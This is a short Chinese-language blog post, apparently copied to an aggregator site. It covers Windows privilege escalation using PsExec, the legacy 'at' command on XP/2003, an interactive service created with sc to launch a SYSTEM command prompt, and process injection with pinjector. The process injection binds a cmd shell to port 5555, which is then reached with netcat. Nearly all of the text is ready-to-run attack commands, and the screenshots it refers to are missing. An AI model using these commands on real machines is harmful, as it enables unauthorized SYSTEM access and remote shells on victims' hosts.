windows提权
Posted
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了windows提权相关的知识，希望对你有一定的参考价值。
- PsExec
- at
- Process_Injector
-
sc
psexec
当前用户是jh
提权之后
*at命令提权（适用于xp，2003）
at 15:05 /interact cmd 
sc
创建服务(打开cmd命令窗口的服务)
sc Create systemcmd binPath= "cmd /K start" type= own type= interact启动服务刚才创建的服务
sc start systemcmdprocess_injector
列出当前的所有进程
pinjector.exe -l
选择要提权成的用户，进行进程注入
pinjector.exe -p 732 cmd 5555 #服务端实现进程注入
nc -nv 10.10.10.19 5555 # 客户端连接服务端
以上是关于windows提权的主要内容，如果未能解决你的问题，请参考以下文章